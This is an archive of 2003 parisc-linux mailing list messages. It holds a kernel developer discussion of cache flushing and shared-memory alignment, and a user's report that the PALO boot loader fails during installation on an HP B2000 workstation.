In-Reply-To: <200303090351.UAA17796@udlkern.fc.hp.com>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17873

   From: John Marvin <jsm@udlkern.fc.hp.com>
   Date: Sat, 8 Mar 2003 20:51:55 -0700 (MST)

   The tlb trick for clear_user_page is already implemented. The code for
   copy_user_page is there, but turned off due to an issue mentioned in my
   last email. I believe the failure case was not a frequent path, and there
   are ways of working around that problem.
   
Fix it by adding a thread flag, "TIF_NEED_ICACHE_FLUSH" or whatever,
and at the end of copy_user_page() if this bit is set you flush the
page from the destination instruction cache.

The flag is set in do_parisc_fault() if the fault is for a write
and:

	((vma->vm_flags & VM_EXEC) != 0 &&
	 vma->vm_file != NULL)

See the TIF_BLKCOMMIT logic in arch/sparc64/mm/fault.c



From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sun, 09 Mar 2003 13:38:30 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20030309.133830.82279538.davem@redhat.com>
References: <20030308231125.M3865@parcelfarce.linux.theplanet.co.uk>
	<20030308.150214.30103426.davem@redhat.com>
	<20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622267 22671 80.91.229.3 (22 Nov 2014 02:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:07 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 15:00:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6FCF4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 15:00:15 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA32462;
	Sun, 9 Mar 2003 13:38:30 -0800
In-Reply-To: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17874

   From: Matthew Wilcox <willy@debian.org>
   Date: Sun, 9 Mar 2003 14:42:25 +0000
   
   Well.. one patch which affected us, but wouldn't affect a writethrough
   cache is:
   
   http://ftp.linux.org.uk/pub/linux/willy/patches/applied/shmem.diff
   
   In that situation, the user has no view of that page currently so they
   will read from memory.  With a writethrough cache it works without the
   flush_dcache_page(), with writeback it does not.
   
I think the real issue is SHMLBA isn't being honored, right?

The whole purpose of SHMLBA is to ensure a particular alignment
for shared memory anonymous regions, if that isn't happening anymore
that is a bug.

This is why SHMLBA is set to the virtual cache size on sparc32 for
certain cpus and on sparc64 for all cpus.



From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Mon, 10 Mar 2003 01:50:05 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20030310015005.GA5278@parcelfarce.linux.theplanet.co.uk>
References: <20030308231125.M3865@parcelfarce.linux.theplanet.co.uk> <20030308.150214.30103426.davem@redhat.com> <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk> <20030309.133830.82279538.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622267 22673 80.91.229.3 (22 Nov 2014 02:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:07 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 18:50:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 508E44829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 18:50:09 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18sCQX-0001jO-00; Mon, 10 Mar 2003 01:50:05 +0000
Content-Disposition: inline
In-Reply-To: <20030309.133830.82279538.davem@redhat.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17875

On Sun, Mar 09, 2003 at 01:38:30PM -0800, David S. Miller wrote:
> I think the real issue is SHMLBA isn't being honored, right?

I don't think so.. according to cachetlb.txt:

If your D-cache has this problem, first define asm/shmparam.h SHMLBA
properly, it should essentially be the size of your virtually
addressed D-cache (or if the size is variable, the largest possible
size).  This setting will force the SYSv IPC layer to only allow user
processes to mmap shared memory at address which are a multiple of
this value.

That isn't where the problem lies.  This missing flush is in
shmem_getpage(), round about line 906 in 2.5.64.  Really, this should
be doing a clear_user_page() -- but not all callers of this routine have
a user address to pass on.

> The whole purpose of SHMLBA is to ensure a particular alignment
> for shared memory anonymous regions, if that isn't happening anymore
> that is a bug.

I thought this was to deal with user-user coherency problems, not
user-kernel?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] trouble loading from netinst ISO on B2000
Date: Sun, 9 Mar 2003 17:53:53 -0800 (PST)
Lines: 71
Approved: news@gmane.org
Message-ID: <20030310015353.95148.qmail@web12501.mail.yahoo.com>
References: <00A4E35DD053BF42A83513384737721604283785@noaadc-mxu12.noa.alcoa.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1036393159-1047261233=:94916"
X-Trace: ger.gmane.org 1416622267 22675 80.91.229.3 (22 Nov 2014 02:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 18:53:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 652114829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 18:53:54 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Sun, 09 Mar 2003 17:53:53 PST
In-Reply-To: <00A4E35DD053BF42A83513384737721604283785@noaadc-mxu12.noa.alcoa.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17876

--0-1036393159-1047261233=:94916
Content-Type: text/plain; charset=us-ascii


Basically my B2000 with the A4977A PCI EG graphics card starts up and allows me to load all the way until making the system bootable.  Then I get an error saying PALO won't load and then dumps me all the way back to the "choose a language" screen.  It's so weird because the card and the disks hanging off of the card are out of my C360 and functioned great with it.  I think I will blow away the the LUN in the array that I'm using, format it and try again starting with the disk partitioning.  It does seem to want to use the EG graphics card though.  As a side note, I think it's cool that the front LCD screen tells me I'm running Linux and the current kernel revision.  Any ideas?
derek
 "Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote:Thanks. The latest netinst iso worked...

-----Original Message-----
From: Thibaut VARENE [mailto:varenet@esiee.fr]
Sent: Thursday, February 27, 2003 6:51 PM
To: Copeland, Daniel
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: question about pa-risc linux on hp b2600 workstation


On Thu, 27 Feb 2003 10:40:42 -0500
"Copeland, Daniel" wrote:

> Hello,
> 
> Did you have to get special usb drivers to be able to install? I
downloaded
> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my
> keyboard...

perhaps you should read the section related to b2600 on this page:
http://pateam.esiee.fr/list.html

the mailing-list archive:
http://www.fr.parisc-linux.org/mailing-lists/

eventually the FAQ (there's an entry about USB keyboards)
http://www.fr.parisc-linux.org/faq/

and the Boot HOWTO
http://pateam.esiee.fr/doc.html

everything is explained there.

you need one of the latest netinst isos to install your box:
http://pateam.esiee.fr/download.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

(mail CC'd to the m-l to feed the archive)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-1036393159-1047261233=:94916
Content-Type: text/html; charset=us-ascii

<P>Basically my B2000 with the A4977A PCI EG graphics card starts up and allows me to load all the way until making the system bootable.&nbsp; Then I get an error saying PALO won't load and then dumps me all the way back to the "choose a language" screen.&nbsp; It's so weird because the card and the disks hanging off of the card are out of my C360 and functioned great with it.&nbsp; I think I will blow away the the LUN in the array that I'm using, format it and try again starting with the disk partitioning.&nbsp; It does seem to want to use the EG graphics card though.&nbsp; As a side note, I think it's cool that the front LCD screen tells me I'm running Linux and the current kernel revision.&nbsp; Any ideas?
<P>derek
<P>&nbsp;<B><I>"Copeland, Daniel" &lt;Daniel.Copeland@alcoa.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Thanks. The latest netinst iso worked...<BR><BR>-----Original Message-----<BR>From: Thibaut VARENE [mailto:varenet@esiee.fr]<BR>Sent: Thursday, February 27, 2003 6:51 PM<BR>To: Copeland, Daniel<BR>Cc: parisc-linux@lists.parisc-linux.org<BR>Subject: Re: question about pa-risc linux on hp b2600 workstation<BR><BR><BR>On Thu, 27 Feb 2003 10:40:42 -0500<BR>"Copeland, Daniel" <DANIEL.COPELAND@ALCOA.COM>wrote:<BR><BR>&gt; Hello,<BR>&gt; <BR>&gt; Did you have to get special usb drivers to be able to install? I<BR>downloaded<BR>&gt; the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my<BR>&gt; keyboard...<BR><BR>perhaps you should read the section related to b2600 on this page:<BR>http://patea
 m.esiee.fr/list.html<BR><BR>the mailing-list archive:<BR>http://www.fr.parisc-linux.org/mailing-lists/<BR><BR>eventually the FAQ (there's an entry about USB keyboards)<BR>http://www.fr.parisc-linux.org/faq/<BR><BR>and the Boot HOWTO<BR>http://pateam.esiee.fr/doc.html<BR><BR>everything is explained there.<BR><BR>you need one of the latest netinst isos to install your box:<BR>http://pateam.esiee.fr/download.html<BR><BR>HTH,<BR><BR><BR>Thibaut VARENE<BR>The PA/Linux ESIEE Team<BR>http://pateam.esiee.fr/<BR><BR>(mail CC'd to the m-l to feed the archive)<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-1036393159-1047261233=:94916--


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sun, 09 Mar 2003 21:18:06 -0800 (PST)
Lines: 12
Approved: news@gmane.org
Message-ID: <20030309.211806.104521297.davem@redhat.com>
References: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
	<20030309.133830.82279538.davem@redhat.com>
	<20030310015005.GA5278@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622267 22677 80.91.229.3 (22 Nov 2014 02:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:07 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 22:39:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BFF8482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 22:39:56 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id VAA00401;
	Sun, 9 Mar 2003 21:18:06 -0800
In-Reply-To: <20030310015005.GA5278@parcelfarce.linux.theplanet.co.uk>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17877

   From: Matthew Wilcox <willy@debian.org>
   Date: Mon, 10 Mar 2003 01:50:05 +0000
   
   Really, this should be doing a clear_user_page() -- but not all
   callers of this routine have a user address to pass on.

That sounds like the best fix to me.

The user address really is a "hint" to the routine, it need not be
precise.  Feel free to make this explicit in cachetlb.txt



From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
Date: Mon, 10 Mar 2003 07:15:59 -0800 (PST)
Lines: 86
Approved: news@gmane.org
Message-ID: <20030310151559.37375.qmail@web12501.mail.yahoo.com>
References: <20030310015353.95148.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1370222337-1047309359=:36362"
X-Trace: ger.gmane.org 1416622268 22680 80.91.229.3 (22 Nov 2014 02:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 08:16:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id C6CB7482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Mar 2003 08:16:00 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Mon, 10 Mar 2003 07:15:59 PST
In-Reply-To: <20030310015353.95148.qmail@web12501.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17878

--0-1370222337-1047309359=:36362
Content-Type: text/plain; charset=us-ascii


Well all efforts have failed.  I now tried to use an internal drive in the B2000 totally bypassing the card and the array with the same results.  It still won't load PALO.  The whole install goes well, but no PALO.  Is there a newer version of PALO that isn't on the 2.4.20-32 release that I could try?
derek
 Derek Engelhaupt <derekengelhaupt@rocketmail.com> wrote:
Basically my B2000 with the A4977A PCI EG graphics card starts up and allows me to load all the way until making the system bootable.  Then I get an error saying PALO won't load and then dumps me all the way back to the "choose a language" screen.  It's so weird because the card and the disks hanging off of the card are out of my C360 and functioned great with it.  I think I will blow away the the LUN in the array that I'm using, format it and try again starting with the disk partitioning.  It does seem to want to use the EG graphics card though.  As a side note, I think it's cool that the front LCD screen tells me I'm running Linux and the current kernel revision.  Any ideas? 
derek 
 "Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote: Thanks. The latest netinst iso worked...

-----Original Message-----
From: Thibaut VARENE [mailto:varenet@esiee.fr]
Sent: Thursday, February 27, 2003 6:51 PM
To: Copeland, Daniel
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: question about pa-risc linux on hp b2600 workstation


On Thu, 27 Feb 2003 10:40:42 -0500
"Copeland, Daniel" wrote:

> Hello,
> 
> Did you have to get special usb drivers to be able to install? I
downloaded
> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my
> keyboard...

perhaps you should read the section related to b2600 on this page:
http://pateam.esiee.fr/list.html

the mailing-list archive:
http://www.fr.parisc-linux.org/mailing-lists/

eventually the FAQ (there's an entry about USB keyboards)
http://www.fr.paris c-linux.org/faq/

and the Boot HOWTO
http://pateam.esiee.fr/doc.html

everything is explained there.

you need one of the latest netinst isos to install your box:
http://pateam.esiee.fr/download.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

(mail CC'd to the m-l to feed the archive)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-1370222337-1047309359=:36362
Content-Type: text/html; charset=us-ascii

<P>Well all efforts have failed.&nbsp; I now tried to use an internal drive in the B2000 totally bypassing the card and the array with the same results.&nbsp; It still won't load PALO.&nbsp; The whole install goes well, but no PALO.&nbsp; Is there a newer version of PALO that isn't on the 2.4.20-32 release that I could try?
<P>derek
<P>&nbsp;<B><I>Derek Engelhaupt &lt;derekengelhaupt@rocketmail.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
<P>Basically my B2000 with the A4977A PCI EG graphics card starts up and allows me to load all the way until making the system bootable.&nbsp; Then I get an error saying PALO won't load and then dumps me all the way back to the "choose a language" screen.&nbsp; It's so weird because the card and the disks hanging off of the card are out of my C360 and functioned great with it.&nbsp; I think I will blow away the the LUN in the array that I'm using, format it and try again starting with the disk partitioning.&nbsp; It does seem to want to use the EG graphics card though.&nbsp; As a side note, I think it's cool that the front LCD screen tells me I'm running Linux and the current kernel revision.&nbsp; Any ideas? 
<P>derek 
<P>&nbsp;<B><I>"Copeland, Daniel" &lt;Daniel.Copeland@alcoa.com&gt;</I></B> wrote: 
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Thanks. The latest netinst iso worked...<BR><BR>-----Original Message-----<BR>From: Thibaut VARENE [mailto:varenet@esiee.fr]<BR>Sent: Thursday, February 27, 2003 6:51 PM<BR>To: Copeland, Daniel<BR>Cc: parisc-linux@lists.parisc-linux.org<BR>Subject: Re: question about pa-risc linux on hp b2600 workstation<BR><BR><BR>On Thu, 27 Feb 2003 10:40:42 -0500<BR>"Copeland, Daniel" <DANIEL.COPELAND@ALCOA.COM>wrote:<BR><BR>&gt; Hello,<BR>&gt; <BR>&gt; Did you have to get special usb drivers to be able to install? I<BR>downloaded<BR>&gt; the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my<BR>&gt; keyboard...<BR><BR>perhaps you should read the section related to b2600 on this page:<BR>http://patea
 m.esiee.fr/list.html<BR><BR>the mailing-list archive:<BR>http://www.fr.parisc-linux.org/mailing-lists/<BR><BR>eventually the FAQ (there's an entry about USB keyboards)<BR>http://www.fr.paris c-linux.org/faq/<BR><BR>and the Boot HOWTO<BR>http://pateam.esiee.fr/doc.html<BR><BR>everything is explained there.<BR><BR>you need one of the latest netinst isos to install your box:<BR>http://pateam.esiee.fr/download.html<BR><BR>HTH,<BR><BR><BR>Thibaut VARENE<BR>The PA/Linux ESIEE Team<BR>http://pateam.esiee.fr/<BR><BR>(mail CC'd to the m-l to feed the archive)<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE>
<P><BR>
<HR SIZE=1>
Do you Yahoo!?<BR><A href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</A> - forms, calculators, tips, and more</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-1370222337-1047309359=:36362--


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble loading from netinst ISO on B2000
Date: Mon, 10 Mar 2003 17:05:23 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <19847336-5312-11D7-A259-0030656F07A2@esiee.fr>
References: <20030310151559.37375.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622268 22683 80.91.229.3 (22 Nov 2014 02:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 09:05:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DCE4485E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Mar 2003 09:05:26 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 3E88449C41; Mon, 10 Mar 2003 17:05:24 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 72BB849C3A; Mon, 10 Mar 2003 17:05:23 +0100 (CET)
In-Reply-To: <20030310151559.37375.qmail@web12501.mail.yahoo.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17879

